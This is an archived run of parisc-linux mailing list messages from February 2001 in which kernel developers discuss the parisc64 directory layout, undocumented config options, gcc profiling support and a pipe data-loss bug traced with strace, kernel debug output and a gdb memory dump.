	for parisc-linux@parisc-linux.org; Fri, 23 Feb 2001 08:58:15 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10376

I wonder if we're doing this right, having parisc and parisc64 as
different architectures.  They're fundamentally similar than sparc/sparc64
or mips/mips64 are.  We have very few files in parisc64 (the rest are
made visible to the build system by creating symlinks to their equivalent
in parisc).

Excluding Makefiles, we have:

kernel/binfmt_elf32.c
kernel/sys32.h
kernel/head.S
kernel/ioctl32.c
kernel/lasimap.map
kernel/pdcpat.c
kernel/signal32.c
kernel/sys_parisc32.c
real/head.S

I'm 99% sure we don't use real/head.S any more.  Or kernel/lasimap.map.
So how about moving the rest to parisc/kernel64?  We'd select between
them with something like:

make config
[...]
*
* Processor type and features
*
Processor family (PA1.1, PA2.0, PA2.0Wide) [PA1.1] 

i think it might make maintenance easier, and possibly alan/linus would
be more willing to take this than the current do_links based situation.

alternatively, maybe we should scrap all the #ifdef __LP64__ stuff from
our current files, duplicate large parts of them and populate parisc64
properly.  i think this current situation is the worst of both worlds
in that it's quite easy to forget about parisc64 when fiddling with
something in the parisc directory.

i favour moving the files to parisc/kernel64, but i'm interested in
hearing other points of view, including `stop messing about'.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@ldl.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Documentation wanted
Date: Fri, 23 Feb 2001 02:29:28 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <E14WEXY-0006gB-00@chrysl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619906 16037 80.91.229.3 (22 Nov 2014 01:31:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:46 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 23 02:29:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D3FD4A19
	for <parisc-linux@parisc-linux.org>; Fri, 23 Feb 2001 02:29:29 -0700 (MST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel1.hp.com (Postfix) with ESMTP id B0244577
	for <parisc-linux@parisc-linux.org>; Fri, 23 Feb 2001 04:29:28 -0500 (EST)
Original-Received: from chrysl (chrysl.fc.hp.com [15.1.54.200])
	by ldl.fc.hp.com (Postfix) with ESMTP id 61A075A9A5
	for <parisc-linux@parisc-linux.org>; Fri, 23 Feb 2001 02:29:28 -0700 (MST)
Original-Received: from willy by chrysl with local (Exim 3.12 #1 (Debian))
	id 14WEXY-0006gB-00
	for <parisc-linux@parisc-linux.org>; Fri, 23 Feb 2001 02:29:28 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10377

Looking for something to do?  I ran `make checkhelp' and the following
undocumented CONFIG options are our fault.  If you'd like to write
some help and send diffs against Configure.help to the list, that'd
be appreciated.

Use power LED as a heartbeat
CONFIG_HEARTBEAT
  No help for CONFIG_HEARTBEAT

/proc/hardware support
CONFIG_PROC_HARDWARE
  No help for CONFIG_PROC_HARDWARE

Support for Lasi/Dino PS2 port
CONFIG_GSC_PS2
  No help for CONFIG_GSC_PS2

HIL keyboard support
CONFIG_HIL
  No help for CONFIG_HIL

serial port on GSC support
CONFIG_SERIAL_GSC
  No help for CONFIG_SERIAL_GSC

Lasi ethernet
CONFIG_LASI_82596
  No help for CONFIG_LASI_82596

Generic STI frame buffer device support
CONFIG_FB_STI
  No help for CONFIG_FB_STI





From - Thu Nov 08 21:16:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc & profiling
Date: Fri, 23 Feb 2001 22:31:32 +1100 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102232156560.9345-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619906 16040 80.91.229.3 (22 Nov 2014 01:31:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 23 04:31:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F6594A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Feb 2001 04:31:34 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA19037
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Feb 2001 22:31:32 +1100
Xref: news.gmane.org gmane.linux.ports.parisc:10378

This is a little embarrassing.  I've just discovered our mainline gcc has
all the nice profiling code in config/pa/pa.c, PROFILE_HOOK defined in
config/pa/pa.h, but no support for PROFILE_HOOK in function.c.  Oops.  No
profiler calls in generated code.

pehc merge from sourceware was before PROFILE_HOOK was added, but I was
working from a later merge when developing the code. :-(

All this would be bad enough, but after plugging in the missing bits, I
thought I'd better test a glibc compile with profiling enabled.  That
showed a bug when inline functions are involved.  Oops again.
Currently testing a fix...

Alan





From - Thu Nov 08 21:16:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc & profiling
Date: Fri, 23 Feb 2001 12:17:27 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <20010223121727.C16261@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.21.0102232156560.9345-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619906 16042 80.91.229.3 (22 Nov 2014 01:31:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 23 05:17:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C971B4A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Feb 2001 05:17:33 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14WHA7-0007kA-00; Fri, 23 Feb 2001 12:17:27 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0102232156560.9345-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Fri, Feb 23, 2001 at 10:31:32PM +1100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10379

On Fri, Feb 23, 2001 at 10:31:32PM +1100, Alan Modra wrote:
> This is a little embarrassing.  I've just discovered our mainline gcc has
> all the nice profiling code in config/pa/pa.c, PROFILE_HOOK defined in
> config/pa/pa.h, but no support for PROFILE_HOOK in function.c.  Oops.  No
> profiler calls in generated code.
> 
> pehc merge from sourceware was before PROFILE_HOOK was added, but I was
> working from a later merge when developing the code. :-(

So we're going to need another gcc merge?

On the subject of `Embarrassing', I've been making an assertion for a
while which I've just discovered is out of date.  gcc supports scheduling
for processors after pa7200.  It now supports -mschedule= 700, 7100,
7100LC, 7200, 8000 and -march= 1.0, 1.1 and 2.0.

So I think I'm going to add config options to the kernel to allow people
to optimise for this, just like x86 does.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: Fri, 23 Feb 2001 12:25:35 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20010223122535.I4660@linuxcare.com>
References: <20010222130359.F1129@linuxcare.com> <Pine.LNX.4.21.0102230011340.14557-100000@front.linuxcare.com.au> <20010222170050.B4660@linuxcare.com> <E14Vzmc-0007Zm-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619907 16048 80.91.229.3 (22 Nov 2014 01:31:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:47 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>,
	parisc-linux@lists.parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 23 05:24:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA2FE4A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Feb 2001 05:24:56 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 7931FB005; Fri, 23 Feb 2001 12:25:35 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <E14Vzmc-0007Zm-00@noam.fc.hp.com>; from bame@fc.hp.com on Thu, Feb 22, 2001 at 10:44:02AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10380

On Thu, Feb 22, 2001 at 10:44:02AM -0700, Paul Bame wrote:
> 
> I thought I'd write a pipe test program for laughs.  Don't run this
> unless you want to cry -- it locks up my machine (both narrow
> and wide kernels) after not very many trials, though 'ping' still works.
> On a wide kernel, a TOC caught it in __down_interruptible but that
> could be normal.

Interesting, this kills my almost-cvs-head kernel, but it works
fine on one of my old kernels from Jan 11th.  Sorry Alan, fixincl
fails the same on my Jan 11th kernel.

Also, it works on cvs head under strace, but that kind of synchronises
the two ends of the pipe so you get alternating reads and writes.

Richard





From - Thu Nov 08 21:16:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc & profiling
Date: Fri, 23 Feb 2001 23:26:17 +1100 (EST)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102232323540.9345-100000@front.linuxcare.com.au>
References: <20010223121727.C16261@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619907 16050 80.91.229.3 (22 Nov 2014 01:31:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 23 05:27:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F7F64A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Feb 2001 05:27:20 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id XAA20571;
	Fri, 23 Feb 2001 23:26:17 +1100
In-Reply-To: <20010223121727.C16261@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10381

On Fri, 23 Feb 2001, Matthew Wilcox wrote:

> So we're going to need another gcc merge?

No, the PROFILE_HOOK stuff is only a few lines of isolated code.





From - Thu Nov 08 21:16:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: Fri, 23 Feb 2001 23:43:07 +1100 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102232341330.9345-100000@front.linuxcare.com.au>
References: <20010223122535.I4660@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619908 16054 80.91.229.3 (22 Nov 2014 01:31:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:48 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 23 05:43:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id E55114A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Feb 2001 05:43:13 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id XAA21048;
	Fri, 23 Feb 2001 23:43:07 +1100
In-Reply-To: <20010223122535.I4660@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10382

On Fri, 23 Feb 2001, Richard Hirst wrote:

> Also, it works on cvs head under strace, but that kind of synchronises
> the two ends of the pipe so you get alternating reads and writes.

Yes, I found the same result in a test prog I wrote.





From - Thu Nov 08 21:16:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc64 vs kernel64
Date: Fri, 23 Feb 2001 09:18:10 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <m14WKv4-001VpXC@bame.riverrock.org>
References: <20010223085815.B16261@parcelfarce.linux.theplanet.co.uk>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619908 16059 80.91.229.3 (22 Nov 2014 01:31:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:48 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 23 09:20:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from deimos.frii.net (deimos.frii.com [216.17.128.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4CC0E4A19
	for <parisc-linux@parisc-linux.org>; Fri, 23 Feb 2001 09:20:45 -0700 (MST)
Original-Received: from www.riverrock.org (rock-veri.verinet.com [206.168.244.62])
	by deimos.frii.net (8.11.2/8.11.2) with ESMTP id f1NGKb619784;
	Fri, 23 Feb 2001 09:20:42 -0700 (MST)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA04007;
	Fri, 23 Feb 2001 09:20:02 -0700
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp
	id <m14WKv4-001VpXC@bame.riverrock.org> (Debian Smail3.2.0.102)
	for <parisc-linux@parisc-linux.org>; Fri, 23 Feb 2001 09:18:10 -0700 (MST) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Fri, 23 Feb 2001 08:58:15 GMT."
             <20010223085815.B16261@parcelfarce.linux.theplanet.co.uk>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:10383

I can imagine about a half-dozen new files to handle hpux32 and hpux64
syscalls and signals and stuff.

= So how about moving the rest to parisc/kernel64?

On first thought I'm not opposed to this but I'd like to let the
suggestion ripen for a while.

= We'd select between
= them with something like:
= 
= make config
= [...]
= *
= * Processor type and features
= *
= Processor family (PA1.1, PA2.0, PA2.0Wide) [PA1.1] 

FYI we'll probably want/have another CONFIG parameter to select 64-bit
kernel on 32-bit firmware translation layer.

= i think it might make maintenance easier, and possibly alan/linus would
= be more willing to take this than the current do_links based situation.

I would appreciate specifics of their "unwillingness" -- all I've heard
so far is assertions that they would hate it.

	-P




From - Thu Nov 08 21:16:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: Fri, 23 Feb 2001 21:23:25 +0000
Lines: 137
Approved: news@gmane.org
Message-ID: <20010223212325.K4660@linuxcare.com>
References: <20010223113052.G4660@linuxcare.com> <Pine.LNX.4.21.0102232231470.9345-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619908 16061 80.91.229.3 (22 Nov 2014 01:31:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 23 14:22:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F8FF4A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Feb 2001 14:22:48 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 59F00B005; Fri, 23 Feb 2001 21:23:25 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0102232231470.9345-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Fri, Feb 23, 2001 at 10:32:55PM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:10384

On Fri, Feb 23, 2001 at 10:32:55PM +1100, Alan Modra wrote:
> On Fri, 23 Feb 2001, Richard Hirst wrote:
> 
> > Probably.  Without strace, I now get
> > 
> > merlin:/build# ./fix-bug.sh 
> > /bin/sh: d: command not found                               
> > 
> > 
> > and it hangs with both ends reading their respective pipes.  I guess
> > that indicates I am hitting the same problem as you, anyway.
> 
> This is exactly what I get, right down to the same "d: command not found"

I've added debug to the kernel fs/pipe.c, which shows the problem is
most likely data loss in the child read from the pipe.
The child always issues reads with a 159 byte buffer.  The last write
from the parent is 161 bytes, as can be seen in this strace log:

189   06:24:51 write(5, "cd /usr/include\nfile=sys/stat.h\nif ( test  -r types/vxTypesOld.h ) > /dev/null 2>&1\nthen echo TRUE\nelse echo FALSE\nfi\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 161) = 161   
190   06:24:51 <... read resumed> "cd /usr/include\nfile=sys/stat.h\nif ( test -r types/vxTypesOld.h ) > /dev/null 2>&1\nthen echo TRUE\nelse echo FALSE\nfi\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtE", 159) = 159

(that strace is not from the same run as the debug o/p below, I get
crashes when 190 forks off a child to run the test under strace, so
had to run without strace for the debug below)

and from my debug in the kernel, I see:
(header is pid,inode,r/w,byte-cnt)

189:2504b2a0,write2,259: "cd /usr/include\ncase hppa-unknown-linux-...ho\necho ShElL-OuTpUt-HaS-bEeN-cO
mPlEtEd\n"
190:2504b2a0,read2,159: "cd /usr/include\ncase hppa-unknown-linux-... \\\npowerpcle-*-solaris2.[0-4] | 
\\\nsparc-"
190:2504b2a0,read2,100: "*-solaris2.[0-4] )\n    echo run ;;\n* ) e...ho\necho ShElL-OuTpUt-HaS-bEeN-cO
mPlEtEd\n"
190:2504b0c0,write2,5: "skip\n"
189:2504b0c0,read2,5: "skip\n"
190:2504b0c0,write2,1: "\n"
189:2504b0c0,read2,1: "\n"
190:2504b0c0,write2,32: "ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n"
189:2504b0c0,read2,32: "ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n"
189:2504b660,read2,13: "./sys/stat.h\n"
189:2504b2a0,write2,161: "cd /usr/include\nfile=sys/stat.h\nif ( tes...ho\necho ShElL-OuTpUt-HaS-bEeN-c
OmPlEtEd\n"
190:2504b2a0,read2,159: "cd /usr/include\nfile=sys/stat.h\nif ( tes...echo\necho ShElL-OuTpUt-HaS-bEeN-
cOmPlEtE"
190:2504b0c0,write2,6: "FALSE\n"
189:2504b0c0,read2,6: "FALSE\n"
190:2504b2a0,read2,2: "d\n"


so proc 190 reads the following:


cd /usr/include
file=sys/stat.h
if ( test  -r types/vxTypesOld.h ) > /dev/null 2>&1
then echo TRUE
else echo FALSE
fi

echo
echo ShElL-OuTpUt-HaS-bEeN-cOmPlEtE


but there is no 'd\n' at the end of that last line.  Proc 190 does the test,
echoes "FALSE\n", and then goes back to look for more input.  It picks up the
'd\n' and goes trying to find /bin/d, or whatever.  Hence the output we see of


/bin/sh: d: command not found                               



So, I created a /bin/d which contained


#!/bin/sh
echo ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd


and my test script then runs to completion.  The test script is the one
Alan posted, which just runs fixincl on sys/stat.h.

Note that the child only sends "FALSE\n", it doesn't send another "\n",
which should preceed the ShElL-... line.  So, the child is most likely
loosing "echo\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtE".  41 chars, which is
exactly what Alan reported in the first place.

We do now know that the data is being fed to copy_to_user() in pipe_read(),
and strace shows it is really copied to the users buffer, but it
apparently isn't being seen by the shell on its stdin.

I added more debug to look at buffer alignments, but that didn't show
anything interesting:

Parent write of 161 chars, kernel buffer 0x1dae4000, user buffer 0x4001d000
Child read of 159 bytes,   kernel buffer 0x1dae4000, user buffer 0x00085810

Child input seems to have got lost after 159-41=118 (0x76) chars, or
at child buffer address 0x85886.

So, I used gdb to attach to the stuck child and looked in its buffer:

0x85810:        100 'd' 10 '\n' 32 ' '  47 '/'  117 'u' 115 's' 114 'r' 47 '/'
0x85818:        105 'i' 110 'n' 99 'c'  108 'l' 117 'u' 100 'd' 101 'e' 10 '\n'
0x85820:        102 'f' 105 'i' 108 'l' 101 'e' 61 '='  115 's' 121 'y' 115 's'
0x85828:        47 '/'  115 's' 116 't' 97 'a'  116 't' 46 '.'  104 'h' 10 '\n'
0x85830:        105 'i' 102 'f' 32 ' '  40 '('  32 ' '  116 't' 101 'e' 115 's'
0x85838:        116 't' 32 ' '  32 ' '  45 '-'  114 'r' 32 ' '  116 't' 121 'y'
0x85840:        112 'p' 101 'e' 115 's' 47 '/'  118 'v' 120 'x' 84 'T'  121 'y'
0x85848:        112 'p' 101 'e' 115 's' 79 'O'  108 'l' 100 'd' 46 '.'  104 'h'
0x85850:        32 ' '  41 ')'  32 ' '  62 '>'  32 ' '  47 '/'  100 'd' 101 'e'
0x85858:        118 'v' 47 '/'  110 'n' 117 'u' 108 'l' 108 'l' 32 ' '  50 '2'
0x85860:        62 '>'  38 '&'  49 '1'  10 '\n' 116 't' 104 'h' 101 'e' 110 'n'
0x85868:        32 ' '  101 'e' 99 'c'  104 'h' 111 'o' 32 ' '  84 'T'  82 'R'
0x85870:        85 'U'  69 'E'  10 '\n' 101 'e' 108 'l' 115 's' 101 'e' 32 ' '
0x85878:        101 'e' 99 'c'  104 'h' 111 'o' 32 ' '  70 'F'  65 'A'  76 'L'
0x85880:        83 'S'  69 'E'  10 '\n' 102 'f' 105 'i' 10 '\n' 10 '\n' 101 'e'
0x85888:        99 'c'  104 'h' 111 'o' 10 '\n' 101 'e' 99 'c'  104 'h' 111 'o'
0x85890:        32 ' '  83 'S'  104 'h' 69 'E'  108 'l' 76 'L'  45 '-'  79 'O'
0x85898:        117 'u' 84 'T'  112 'p' 85 'U'  116 't' 45 '-'  72 'H'  97 'a'
0x858a0:        83 'S'  45 '-'  98 'b'  69 'E'  101 'e' 78 'N'  45 '-'  99 'c'
0x858a8:        79 'O'  109 'm' 80 'P'  108 'l' 69 'E'  116 't' 69 'E'  85 'U'
0x858b0:        85 'U'  85 'U'  85 'U'  0 '\000'        0 '\000'        0 '\000'

The data is all there, so now the problem looks like a corrupt return value
from the read().  Should have got 0x9f, appears to have got 0x76.  Except
strace and my kernel debug shows the return value of 0x9f.

Perhaps we should rebuild bash and see if that helps.

Richard





From - Thu Nov 08 21:16:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc64 vs kernel64
Date: Fri, 23 Feb 2001 14:12:22 -0800
Lines: 61
Approved: news@gmane.org
Message-ID: <200102232212.OAA21472@milano.cup.hp.com>
References: <20010223085815.B16261@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619909 16067 80.91.229.3 (22 Nov 2014 01:31:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:49 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, grundler@milano.cup.hp.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 23 15:09:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78DA44A19
	for <parisc-linux@parisc-linux.org>; Fri, 23 Feb 2001 15:09:38 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 49A3C7A4; Fri, 23 Feb 2001 14:09:37 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id OAA21472;
	Fri, 23 Feb 2001 14:12:33 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 23 Feb 2001 08:58:15 PST."
             <20010223085815.B16261@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:10385

Matthew Wilcox wrote:
> 
> I wonder if we're doing this right, having parisc and parisc64 as
> different architectures.

How much is driven by how gcc/binutils/config.guess type stuff works?

> They're fundamentally similar than sparc/sparc64
> or mips/mips64 are.  We have very few files in parisc64 (the rest are
> made visible to the build system by creating symlinks to their equivalent
> in parisc).

We've made an effort to keep them the same. That's why most of the
files are common. The fact that PA2.0 cpus can run PA1.1 kernel bits
makes it easy for us. I'm *know* the R4000 MIPs processor had
good backwards compatibility between 32/64-bit - don't know about
later ones or Sparc/Sparc64.

> them with something like:
> 
> make config
> [...]
> *
> * Processor type and features
> *
> Processor family (PA1.1, PA2.0, PA2.0Wide) [PA1.1] 

The Processor family selection is a good idea regardless of
how arch/parisc* source is organized.

> i think it might make maintenance easier,

The difference here is negligible. The main issues are from people
not (able to?) testing both 32 and 64-bit kernels before committing.


> i think this current situation is the worst of both worlds
> in that it's quite easy to forget about parisc64 when fiddling with
> something in the parisc directory.

I disagree.
That particular issue is the same for all three directory layouts.
Perhaps you have trouble with the current model as I might with a
different one.

I think the do_links model is a good compromise and we should
stick with it a bit longer. We know more now than when the do_links
model was created. In the future, I'm inclined to support a move
to a parisc/kernel64 layout if we are confident things like 64-bit
userspace, ccNuma (eg SuperDome), CPU Hotswap, Memory Hotswap, New
